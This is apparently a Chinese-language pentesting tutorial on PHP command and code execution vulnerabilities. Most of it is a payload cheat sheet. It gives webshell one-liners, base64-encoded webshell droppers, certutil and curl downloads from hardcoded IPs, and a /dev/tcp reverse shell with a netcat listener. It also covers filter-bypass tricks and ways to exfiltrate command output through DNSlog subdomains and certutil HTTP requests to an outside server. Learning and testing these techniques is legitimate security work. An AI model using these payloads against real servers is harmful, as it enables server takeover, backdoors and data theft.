命令执行与代码执行
当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
命令执行漏洞
漏洞介绍
PHP应用在调用命令执行函数执行系统命令的时候,如果将前端用户的输入数据作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。
由于PHP程序未对前端用户提交的数据进行严格过滤或限制,从而导致传入的字段被带入到命令执行函数中作为参数执行,造成GetShell或接管服务器权限等高危害的Web漏洞!
漏洞危害
-
继承Web服务器程序权限,执行系统命令(反弹Shell)
-
继承Web服务器程序,读取文件(敏感文件)
-
GetShell控制网站,创建系统后门控制服务器
危险函数
PHP 中可以调用外部程序执行系统命令的常见函数:
-
system()
<?php system($_POST["cmd"]);?>
-
passthru()
<?php passthru($_POST["cmd"]);?>
-
exec()
<?php echo exec($_POST["cmd"]);?>
-
shell_exec()
<?php echo shell_exec($_POST["cmd"]); ?>
-
pcntl_exec()
-
popen()
-
反引号
<?php echo shell_exec($_POST["cmd"]); ?>
命令连接符
|(管道符号)
表示A命令语句的输出,作为B命令语句的输入执行。 当A为false的时候将不会执行
ping 127.0.0.1|whoami
&(后台任务符)
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。(命令全部都会执行)
ping 127.0.0.1&whoami&
&&(逻辑与)
前面的命令执行成功后,它后面的命令才被执行。
ping 127.0.0.1 &&whoami
||(逻辑或)
前面的命令执行失败后,它后面的命令才被执行。
ping -c || whoami
;分号
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。 (linux主机)
ping 127.0.0.1;whoami
`(反引号)
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo ls -a
将会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果打印在屏幕上,这被称为命令替换。 (linux主机)
echo whoami
$(command) 命令执行
这是命令替换的不同符号,当反引号被过滤或编码时,可能会更有效。(linux主机)
ping 127.0.0.1 $(whoami)
漏洞类型
-
有回显:利用:Getshell(写入Webshell、反弹Shell、远程下载木马)、读取文件(敏感信息)。
-
无回显:利用:通过DNS解析记录将执行的命令结果带到解析记录中、将执行结果写入到web文件中。
GetShell方式
方式一:写入Webshell
假设现在存在漏洞的页面有权限写入、利用shell命令写入webshell后门到网站目录,获取操作系统权限。
Win: echo "<?php @eval($_POST['cmd']); ?>" > shell.php Linux: echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4="|base64 -d >shell1.php
方式二:远程下载
Windows: certutil.exe -urlcache -split -f http://43.143.175.225:8000/1.php 000.php curl URL -o 1.php
Linux: curl http://www.baidu.com/robots.txt -o robots.txt wget http://www.baidu.com/robots.txt -O robots.txt
方式三:反弹shell
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请
求到攻击机监听的端口,并将其命令行(shell)转到攻击机。
攻击者监听 nc -lvvp 4444 受害者执行反弹shell命令 sh -i /dev/tcp/192.168.1.174/4444 1&<0 反弹shell语句进行搜索
NC(netcat)
nc是netcat的简写也称瑞士军刀。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。
NC的作用
-
实现任意TCP/UDP端口的监听,nc可以作为Server以TCP或UDP形式监听指定端口 nc -lvvp 4444
-
端口扫描,NC可以作为client发起TCP或UDP连接
-
远程控制等操作
NC常用参数 -l 监听模式,用于入站连接 -p 指定监听本地的端口 -n 后面跟上IP地址,直接解析IP不解析域名,速度更快 -v 输出连接的详细信息,输入vv可以看到更详细的信息 -z 端口扫描,默认为tcp模式 -u 端口扫描,udp方式 -c shell命令,通常为-c bash返回一个bash shell 常用操作 nc -lvvp 4444 nc -lvnp 4444 监听本机4444端口(作为服务端) ,等待客户段发送数据到服务端4444端口 nc -nv 192.168.8.110 8888 主动连接对方8888端口获得shell nc -nvz 192.168.174.1 1-1000 端口扫描 下载nc debain: apt-get install netcat || nc centos: yum install nc || netcat
绕过方式
常见可代替命令:
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 ls:查看目录 dir:查看目录
空格绕过:
%20(space) %09(tab) $IFS$9 ${IFS} $IFS {cat,flag.txt} 在大括号中逗号可起分隔作用
不回显不出网利用
问题简述
命令执行的结果不会回显
目标防火墙策略限制了不能访问外网
解决办法
写入webshell
第一种方法,我们可以使用echo命令写入WebShell。由于木马文件存在特殊字符转义的问题,需要配合base64命令对代码编码。
echo PD9waHAgZXZhbCgkX1BPU1RbJ2FudCddKTsgPz4=|base64 -d > ant.php
写入命令执行的结果
第二种方法:我们可以在目标主机上执行命令,并将命令执行的结果写入到网站目录中
1.直接写入到当前文件夹下
echo `ls` > 1.txt
DNSlog/HTTP外带注入
Linux DNSLOG外带
利用DNSLog.cn网站
利用命令:curl `命令`.域名 curl `id`.v7nwfo.dnslog.cn
Windows DNSLOG外带
powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.v7nwfo.dnslog.cn';$z=$x+$y;ping $z
Widnows HTTP日志外带
-
如果想把命令执行结果通过httplog外带出来,我们在服务器上可以直接执行以下Python命令开启临时Web服务。
python3 -m http.server
-
在受害者站点执行如下命令将whoami命令结果通过 Base64编码写入文件中
whoami > temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2 temp = whoami明文结果 temp1 = 结果base编码后的值 cm9nXHRydTENCg==
-
HTTP外带执行结果
for /F %i in ('type temp2') do certutil -urlcache -split -f http://3.144.171.225:8000/?p=%i
总结方法
# 出网-有回显 方法一:然后写入Webshell 方法二:反弹shell 方法三:远程下载木马文件 # 出网-无回显 方法一:反弹shell 方法二:远程下载木马文件 方法三:将执行结果写入web文件中,通过访问网站文件获得结果 方法四:DNSlog外带与HTTP日志外带 # 不出网-有回显 思路一:因为不通外网,所以主思路还是想办法写入webshell 执行一些系统命令 # 不出网-无回显 思路一:寻找Web路径写入Webshell 思路二:将执行结果写入web网站目录中查看 # 主要利用思路有 反弹Shell 写入Webshell 远程下载木马文件 将执行结果写入Web文件中,通过访问网站文件获得结果 DNSLOG外带 HTTP日志外带
代码执行漏洞
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
漏洞介绍
由于PHP程序未对前端用户提交的数据进行严格过滤或限制,从而导致传入的字段被带入到代码执行函数中作为参数执行,造成GetShell或接管服务器权限等高危害的Web漏洞!
1.命令执行漏洞是执行的系统命令;即system()函数等调用命令解释器执行输入的命令;
2.代码执行漏洞是执行语言代码;即eval()函等将输入进的字符串交给PHP解释器当作PHP代码执行;
高危函数
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
array_filter()
usort()
GetShell方式
方式一:写入webshell
file_put_contents()函数写入一句话木马:(需知道绝对路径) ?cmd=file_put_contents('shell.php','<?php eval($_POST[x]);?>'); fputs()函数写入一句话木马: ?cmd=fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>"); ?txt=@eval($_POST['cmd']); 一句话木马
方式二:调用执行系统命令函数
1. system:执行一个外部的应用程序并显示输出的结果 2. exec:执行一个外部的应用程序 3. shell_exec:执行shell命令并返回输出的结果的字符串 4. passthru:执行一个UNIX系统命令并显示原始的输出 5. popen() 6. proc_popen()